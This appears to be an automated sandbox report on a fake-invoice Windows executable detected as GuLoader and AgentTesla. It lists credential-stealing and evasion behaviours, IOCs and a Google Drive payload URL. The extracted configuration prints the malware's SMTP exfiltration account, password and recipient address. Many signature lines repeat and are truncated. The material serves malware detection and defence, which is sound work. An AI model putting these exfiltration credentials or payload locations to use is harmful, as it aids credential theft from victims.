
ID: 1499
Sample Name: Factura
n#U00ba749962.exe
Cookbook: default.jbs
Time: 20:03:06
Date: 04/10/2021
Version: 33.0.0 White Diamond



2
4
4
4
4
4
4
4
4
4
4
4
5
5
5
5
5
5
5
5
5
5
5
6
6
7
7
8
8
8
8
8
8
9
9
9
9
9
9
9

10
10
10
10
10
10
11
12
12
13
13
14
14
14
14
14
14
14
15
15
15

15
15
15
15
15
15
15
16
35
35
35
35

Table of Contents

Table of Contents
Windows Analysis Report Factura n#U00ba749962.exe

Overview
General Information
Detection
Signatures
Classification

Process Tree
Malware Configuration

Threatname: Agenttesla
Yara Overview

Memory Dumps
Sigma Overview

Networking:
Jbx Signature Overview

AV Detection:
Networking:
Data Obfuscation:
Malware Analysis System Evasion:
Anti Debugging:
HIPS / PFW / Operating System Protection Evasion:
Stealing of Sensitive Information:
Remote Access Functionality:

Mitre Att&ck Matrix
Behavior Graph
Screenshots

Thumbnails
Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample
Dropped Files
Unpacked PE Files
Domains
URLs

Domains and IPs
Contacted Domains
Contacted URLs
URLs from Memory and Binaries
Contacted IPs
Public

General Information
Simulations

Behavior and APIs
Joe Sandbox View / Context

IPs
Domains
ASN
JA3 Fingerprints
Dropped Files

Created / dropped Files
Static File Info

General
File Icon
Static PE Info

General
Entrypoint Preview
Data Directories
Sections
Resources
Imports
Version Infos
Possible Origin

Network Behavior
Network Port Distribution
TCP Packets
UDP Packets
DNS Queries
DNS Answers
HTTP Request Dependency Graph
HTTPS Proxied Packets
SMTP Packets

Code Manipulations
Statistics

Behavior

Copyright Joe Security LLC 2021 Page 2 of 38



36
36
36
36

36
36

36
36

37
37
37
37
37
37

37
37
37

37
37

System Behavior
Analysis Process: Factura n#U00ba749962.exe PID: 8796 Parent PID: 7464

General
File Activities

Analysis Process: RegAsm.exe PID: 6476 Parent PID: 8796
General

Analysis Process: RegAsm.exe PID: 7144 Parent PID: 8796
General

Analysis Process: RegAsm.exe PID: 8600 Parent PID: 8796
General
File Activities

File Created
File Written
File Read

Analysis Process: conhost.exe PID: 7384 Parent PID: 8600
General
File Activities

Disassembly
Code Analysis

Copyright Joe Security LLC 2021 Page 3 of 38



Windows Analysis Report Factura n#U00ba749962.exe

Overview

General Information

Sample 
Name:

Factura 
n#U00ba749962.exe

Analysis ID: 1499

MD5: 567d679df1c52ff…

SHA1: 592b3df112874f6…

SHA256: 6305547511252a…

Infos:

Most interesting Screenshot:

Detection

AgentTesla GuLoaderAgentTesla GuLoader

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTeslaYara detected AgentTesla

Sigma detected: RegAsm connects 

Sigma detected: RegAsm connects 

Sigma detected: RegAsm connects 

Sigma detected: RegAsm connects 

Sigma detected: RegAsm connects 

Sigma detected: RegAsm connects 

Sigma detected: RegAsm connects Sigma detected: RegAsm connects ……

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoaderYara detected GuLoader

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggersHides threads from debuggers

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regionsWrites to foreign memory regions

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / WiTries to harvest and steal Putty / Wi……

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.run

Tries to detect Any.runTries to detect Any.run

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login cTries to harvest and steal ftp login c……

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via filTries to steal Mail credentials (via fil……

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter inQueries sensitive network adapter in……

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser inTries to harvest and steal browser in……

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information Queries sensitive BIOS Information ……

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE filesUses 32bit PE files

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (namQueries the volume information (nam……

Drops certificate files (DER)

Drops certificate files (DER)

Drops certificate files (DER)

Drops certificate files (DER)

Drops certificate files (DER)

Drops certificate files (DER)

Drops certificate files (DER)Drops certificate files (DER)

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

Yara detected Credential Stealer

Yara detected Credential Stealer

Yara detected Credential Stealer

Yara detected Credential Stealer

Yara detected Credential Stealer

Yara detected Credential Stealer

Yara detected Credential StealerYara detected Credential Stealer

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in coJA3 SSL client fingerprint seen in co……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / UsFound a high number of Window / Us……

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original Sample file is different than original ……

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resourcesPE file contains strange resources

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLsTries to load missing DLLs

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user age

Uses a known web browser user ageUses a known web browser user age……

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on nonDetected TCP or UDP traffic on non……

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is beinChecks if the current process is bein……

Uses SMTP (mail sending)

Uses SMTP (mail sending)

Uses SMTP (mail sending)

Uses SMTP (mail sending)

Uses SMTP (mail sending)

Uses SMTP (mail sending)

Uses SMTP (mail sending)Uses SMTP (mail sending)

Queries sensitive processor informa

Queries sensitive processor informa

Queries sensitive processor informa

Queries sensitive processor informa

Queries sensitive processor informa

Queries sensitive processor informa

Queries sensitive processor informaQueries sensitive processor informa……

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valuMonitors certain registry keys / valu……

Uses Microsoft's Enhanced Cryptog

Uses Microsoft's Enhanced Cryptog

Uses Microsoft's Enhanced Cryptog

Uses Microsoft's Enhanced Cryptog

Uses Microsoft's Enhanced Cryptog

Uses Microsoft's Enhanced Cryptog

Uses Microsoft's Enhanced CryptogUses Microsoft's Enhanced Cryptog……

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access loadContains functionality to access load……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64native

Factura n#U00ba749962.exe (PID: 8796 cmdline: 'C:\Users\user\Desktop\Factura n#U00ba749962.exe'  MD5: 567D679DF1C52FF01662DB29CBDA21C3)

RegAsm.exe (PID: 6476 cmdline: 'C:\Users\user\Desktop\Factura n#U00ba749962.exe'  MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 7144 cmdline: 'C:\Users\user\Desktop\Factura n#U00ba749962.exe'  MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 8600 cmdline: 'C:\Users\user\Desktop\Factura n#U00ba749962.exe'  MD5: 0D5DF43AF2916F47D00C1573797C1A13)

conhost.exe (PID: 7384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cleanup

{
  "Exfil Mode": "SMTP",
  "SMTP Info": "pedidos@pizzascasadelfi.comWigeti04rera$mail.pizzascasadelfi.comgaryantonio23589@gmail.com"
}

Source Rule Description Author Strings

00000000.00000002.765236116.000000000224
0000.00000040.00000001.sdmp

JoeSecurity_GuLoader_2 Yara detected 
GuLoader

Joe Security

00000014.00000002.5621098811.000000001E2
91000.00000004.00000001.sdmp

JoeSecurity_AgentTesla_1 Yara detected 
AgentTesla

Joe Security

00000014.00000002.5621098811.000000001E2
91000.00000004.00000001.sdmp

JoeSecurity_CredentialSte
aler

Yara detected 
Credential Stealer

Joe Security

Process Memory Space: RegAsm.exe PID: 8600 JoeSecurity_AgentTesla_1 Yara detected 
AgentTesla

Joe Security

Process Memory Space: RegAsm.exe PID: 8600 JoeSecurity_CredentialSte
aler

Yara detected 
Credential Stealer

Joe Security

Process Tree

Malware Configuration

Threatname: Agenttesla

Yara Overview

Memory Dumps

Copyright Joe Security LLC 2021 Page 4 of 38



Sigma Overview

Networking:

Sigma detected: RegAsm connects to smtp port

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Found malware configuration

Multi AV Scanner detection for submitted file

Networking:

Data Obfuscation:

Yara detected GuLoader

Malware Analysis System Evasion:

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Anti Debugging:

Hides threads from debuggers

HIPS / PFW / Operating System Protection Evasion:

Writes to foreign memory regions

Stealing of Sensitive Information:

Yara detected AgentTesla

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Tries to harvest and steal browser information (history, passwords, etc)

Remote Access Functionality:

Yara detected AgentTesla
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Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Valid
Accounts

Windows Management
Instrumentation 2 1 1

DLL Side-
Loading 1

Process
Injection 1 1 2

Masquerading 1 OS
Credential
Dumping 2

Query Registry 1 Remote
Services

Email
Collection 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 2 1

Default
Accounts

Scheduled Task/Job Boot or
Logon
Initialization
Scripts

DLL Side-
Loading 1

Disable or Modify
Tools 1

Credentials
in
Registry 1

Security Software
Discovery 4 2 1

Remote
Desktop
Protocol

Archive
Collected
Data 1

Exfiltration
Over
Bluetooth

Non-Standard
Port 1

Domain
Accounts

At (Linux) Logon Script
(Windows)

Logon Script
(Windows)

Virtualization/Sandbox
Evasion 3 4 1

Security
Account
Manager

Process Discovery 2 SMB/Windows
Admin Shares

Data from
Local
System 2

Automated
Exfiltration

Ingress Tool
Transfer 1

Local
Accounts

At (Windows) Logon Script
(Mac)

Logon Script
(Mac)

Process
Injection 1 1 2

NTDS Virtualization/Sandbox
Evasion 3 4 1

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Non-
Application
Layer
Protocol 2

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

Obfuscated Files or
Information 1

LSA
Secrets

Application Window
Discovery 1

SSH Keylogging Data
Transfer
Size Limits

Application
Layer
Protocol 2 3

Replication
Through
Removable
Media

Launchd Rc.common Rc.common DLL Side-Loading 1 Cached
Domain
Credentials

File and Directory
Discovery 1

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

External
Remote
Services

Scheduled Task Startup
Items

Startup Items Compile After
Delivery

DCSync System Information
Discovery 1 1 5

Windows
Remote
Management

Web Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly
Used Port

Behavior Graph
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Behavior Graph
ID: 1499

Sample: Factura n#U00ba749962.exe

Startdate: 04/10/2021

Architecture: WINDOWS

Score: 100

mail.pizzascasadelfi.com x1.i.lencr.org 4 other IPs or domains

Found malware configuration Multi AV Scanner detection
for submitted file

Sigma detected: RegAsm
connects to smtp port 3 other signatures

Factura n#U00ba749962.exe

1

        started       

Writes to foreign memory
regions Tries to detect Any.run Hides threads from debuggers

RegAsm.exe

11

        started       

RegAsm.exe

        started       

RegAsm.exe

        started       

mail.pizzascasadelfi.com

91.197.229.125, 49776, 587

GYRONGB

United Kingdom

googlehosted.l.googleusercontent.com

142.250.185.129, 443, 49762

GOOGLEUS

United States

drive.google.com

142.250.185.238, 443, 49761

GOOGLEUS

United States

Tries to harvest and
steal Putty / WinSCP

information (sessions,
passwords, etc)

Tries to steal Mail
credentials (via file

access)

Tries to harvest and
steal ftp login credentials 3 other signatures

conhost.exe

        started       

Queries sensitive network
adapter information

(via WMI, Win32_NetworkAdapter,
often done to detect

virtual machines)

Queries sensitive BIOS
Information (via WMI,

Win32_Bios & Win32_BaseBoard,
often done to detect

virtual machines)

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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Source Detection Scanner Label Link

Factura n#U00ba749962.exe 26% Virustotal Browse

Factura n#U00ba749962.exe 9% ReversingLabs Win32.Trojan.Mucc

No Antivirus matches

No Antivirus matches

Source Detection Scanner Label Link

x1.i.lencr.org 0% Virustotal Browse

Source Detection Scanner Label Link

127.0.0.1:HTTP/1.1 0% Avira URL Cloud safe

x1.i.lencr.org/ 0% Virustotal Browse

x1.i.lencr.org/ 0% Avira URL Cloud safe

DynDns.comDynDNS 0% Avira URL Cloud safe

cps.letsencrypt.org0 0% Avira URL Cloud safe

https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-
0.4.3.6.zip%tordir%%ha

0% Avira URL Cloud safe

https://CE453x2GvK7KdvD.com 0% Avira URL Cloud safe

x1.c.lencr.org/0 0% Avira URL Cloud safe

x1.i.lencr.org/0 0% Avira URL Cloud safe

mail.pizzascasadelfi.com 0% Avira URL Cloud safe

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Copyright Joe Security LLC 2021 Page 8 of 38
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General Information

Joe Sandbox Version: 33.0.0 White Diamond

Analysis ID: 1499

Start date: 04.10.2021

Start time: 20:03:06

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 14m 14s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Factura n#U00ba749962.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe 
Reader DC 21, Java 8 Update 301

Run name: Suspected Instruction Hammering

Number of analysed new started processes 
analysed:

42

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

r3.o.lencr.org0 0% Avira URL Cloud safe

JJzNyY.com 0% Avira URL Cloud safe

r3.i.lencr.org/0 0% Avira URL Cloud safe

Source Detection Scanner Label Link

Name IP Active Malicious Antivirus Detection Reputation

mail.pizzascasadelfi.com 91.197.229.125 true true unknown

drive.google.com 142.250.185.238 true false high

googlehosted.l.googleusercontent.com 142.250.185.129 true false high

x1.i.lencr.org unknown unknown false 0%, Virustotal, Browse unknown

doc-0k-88-docs.googleusercontent.com unknown unknown false high

Name Malicious Antivirus Detection Reputation

https://doc-0k-88-
docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/2bevclho9ifj
obqqu0cuc75g3ubuieou/1633370775000/00014782062933200622/*/1y982JAKaxqfxXv7KZDG
UXXRU_MIpMU2h?e=download

false high

IP Domain Country Flag ASN ASN Name Malicious

142.250.185.129 googlehosted.l.googleuser
content.com

United States 15169 GOOGLEUS false

91.197.229.125 mail.pizzascasadelfi.com United Kingdom 29017 GYRONGB true

142.250.185.238 drive.google.com United States 15169 GOOGLEUS false

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Copyright Joe Security LLC 2021 Page 9 of 38

https://www.virustotal.com/gui/url/b02f31dac6568d6310876d0114c53277963eaf61a7685a9735140fe0e82f5f2d/detection/u-b02f31dac6568d6310876d0114c53277963eaf61a7685a9735140fe0e82f5f2d-1632808937


Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.spre.troj.spyw.evad.winEXE@8/5@4/3

EGA Information: Failed

HDC Information: Failed

HCA Information: Successful, ratio: 98%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .exe

Warnings:

Time Type Description

20:06:23 Task Scheduler Run new task: Intel PTT EK Recertification path: "C:\Windows\System32\DriverStore\FileRepository\iclsclient.in
f_amd64_75ffca5eec865b4b\lib\IntelPTTEKRecertification.exe" 

20:06:49 API Interceptor 2780x Sleep call for process: RegAsm.exe modified

Match Associated Sample Name / URL SHA 256 Detection Link Context

91.197.229.125 0000004017.exe Get hash malicious Browse

Zapytanie ofertowe (MGT 29092021).exe Get hash malicious Browse

payment confirmation.exe Get hash malicious Browse

Funkt.exe Get hash malicious Browse

Funkt.exe Get hash malicious Browse

Notificaci#U00f3n de liquidaci#U00f3n de anticipo.exe Get hash malicious Browse

Match Associated Sample Name / URL SHA 256 Detection Link Context

mail.pizzascasadelfi.com 0000004017.exe Get hash malicious Browse 91.197.229.125

Zapytanie ofertowe (MGT 29092021).exe Get hash malicious Browse 91.197.229.125

payment confirmation.exe Get hash malicious Browse 91.197.229.125

Funkt.exe Get hash malicious Browse 91.197.229.125

Funkt.exe Get hash malicious Browse 91.197.229.125

Notificaci#U00f3n de liquidaci#U00f3n de anticipo.exe Get hash malicious Browse 91.197.229.125

Match Associated Sample Name / URL SHA 256 Detection Link Context

GYRONGB 0000004017.exe Get hash malicious Browse 91.197.229.125

Zapytanie ofertowe (MGT 29092021).exe Get hash malicious Browse 91.197.229.125

payment confirmation.exe Get hash malicious Browse 91.197.229.125

Funkt.exe Get hash malicious Browse 91.197.229.125

Funkt.exe Get hash malicious Browse 91.197.229.125

Notificaci#U00f3n de liquidaci#U00f3n de anticipo.exe Get hash malicious Browse 91.197.229.125

3H0zmxCvLZ.exe Get hash malicious Browse 91.197.228.158

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN
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https://view.joesandbox.com/analysis/390283/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390283/html/none?idtype=webid
https://view.joesandbox.com/analysis/387369/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/387369/html/none?idtype=webid
https://view.joesandbox.com/analysis/385991/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385991/html/none?idtype=webid
https://view.joesandbox.com/analysis/384399/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384399/html/none?idtype=webid
https://view.joesandbox.com/analysis/383169/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383169/html/none?idtype=webid
https://view.joesandbox.com/analysis/382979/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382979/html/none?idtype=webid
https://view.joesandbox.com/analysis/390283/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390283/html/none?idtype=webid
https://view.joesandbox.com/analysis/387369/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/387369/html/none?idtype=webid
https://view.joesandbox.com/analysis/385991/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385991/html/none?idtype=webid
https://view.joesandbox.com/analysis/384399/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384399/html/none?idtype=webid
https://view.joesandbox.com/analysis/383169/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383169/html/none?idtype=webid
https://view.joesandbox.com/analysis/382979/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382979/html/none?idtype=webid
https://view.joesandbox.com/analysis/390283/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390283/html/none?idtype=webid
https://view.joesandbox.com/analysis/387369/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/387369/html/none?idtype=webid
https://view.joesandbox.com/analysis/385991/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385991/html/none?idtype=webid
https://view.joesandbox.com/analysis/384399/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384399/html/none?idtype=webid
https://view.joesandbox.com/analysis/383169/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383169/html/none?idtype=webid
https://view.joesandbox.com/analysis/382979/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382979/html/none?idtype=webid
https://view.joesandbox.com/analysis/366696/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/366696/html/none?idtype=webid


UW0Lx1YV5l.exe Get hash malicious Browse 185.181.11
6.219

uX24M5IH33.exe Get hash malicious Browse 89.145.112.67

QJfoKgzkov.exe Get hash malicious Browse 89.145.100.25

dqVPlpmWYt.exe Get hash malicious Browse 83.223.99.21

M5Bjwg5t8v.exe Get hash malicious Browse 89.145.65.235

5bb870a3b46b0c7d24c0a31b9914718e.exe Get hash malicious Browse 91.197.228.158

PL-REM-40310EME02 (0004).htm Get hash malicious Browse 91.197.229.197

Purchase Payment PPY029618.htm Get hash malicious Browse 91.197.229.197

Purchase Payment PPY029618.htm Get hash malicious Browse 91.197.229.197

The Placement Group HealthCare Advice.htm Get hash malicious Browse 91.197.229.197

jbs.exe Get hash malicious Browse 89.145.65.235

Transfer Forms.exe Get hash malicious Browse 77.72.201.246

Returned message contents.exe Get hash malicious Browse 77.72.201.246

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

37f463bf4616ecd445d4a1937da06e19 3132Silke#Ud83d#Udce0.HTM Get hash malicious Browse 142.250.18
5.238
142.250.18
5.129

facturas.exe Get hash malicious Browse 142.250.18
5.238
142.250.18
5.129

HSBC_Payment_slip_for Outstanding 001005l.htm Get hash malicious Browse 142.250.18
5.238
142.250.18
5.129

0000004017.exe Get hash malicious Browse 142.250.18
5.238
142.250.18
5.129

yrh1FpcTRK.exe Get hash malicious Browse 142.250.18
5.238
142.250.18
5.129

f6wgOTmSAh.exe Get hash malicious Browse 142.250.18
5.238
142.250.18
5.129

INV#13891.htm Get hash malicious Browse 142.250.18
5.238
142.250.18
5.129

Purchase_Order.html Get hash malicious Browse 142.250.18
5.238
142.250.18
5.129

Invoice_.html Get hash malicious Browse 142.250.18
5.238
142.250.18
5.129

factura n#U00ba0248325.exe Get hash malicious Browse 142.250.18
5.238
142.250.18
5.129

BuSPqRP82G.exe Get hash malicious Browse 142.250.18
5.238
142.250.18
5.129

11729154.ppt Get hash malicious Browse 142.250.18
5.238
142.250.18
5.129

justificante de la transfer.exe Get hash malicious Browse 142.250.18
5.238
142.250.18
5.129

justificante de la transfer.exe Get hash malicious Browse 142.250.18
5.238
142.250.18
5.129

JA3 Fingerprints
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https://view.joesandbox.com/analysis/364081/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/364081/html/none?idtype=webid
https://view.joesandbox.com/analysis/364053/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/364053/html/none?idtype=webid
https://view.joesandbox.com/analysis/364042/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/364042/html/none?idtype=webid
https://view.joesandbox.com/analysis/342585/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/342585/html/none?idtype=webid
https://view.joesandbox.com/analysis/342437/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/342437/html/none?idtype=webid
https://view.joesandbox.com/analysis/334660/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/334660/html/none?idtype=webid
https://view.joesandbox.com/analysis/307686/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/307686/html/none?idtype=webid
https://view.joesandbox.com/analysis/306264/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/306264/html/none?idtype=webid
https://view.joesandbox.com/analysis/306041/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/306041/html/none?idtype=webid
https://view.joesandbox.com/analysis/299853/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299853/html/none?idtype=webid
https://view.joesandbox.com/analysis/231840/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231840/html/none?idtype=webid
https://view.joesandbox.com/analysis/218378/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/218378/html/none?idtype=webid
https://view.joesandbox.com/analysis/217693/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/217693/html/none?idtype=webid
https://view.joesandbox.com/analysis/390302/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390302/html/none?idtype=webid
https://view.joesandbox.com/analysis/390292/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390292/html/none?idtype=webid
https://view.joesandbox.com/analysis/390290/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390290/html/none?idtype=webid
https://view.joesandbox.com/analysis/390283/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390283/html/none?idtype=webid
https://view.joesandbox.com/analysis/390263/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390263/html/none?idtype=webid
https://view.joesandbox.com/analysis/390259/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390259/html/none?idtype=webid
https://view.joesandbox.com/analysis/390234/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390234/html/none?idtype=webid
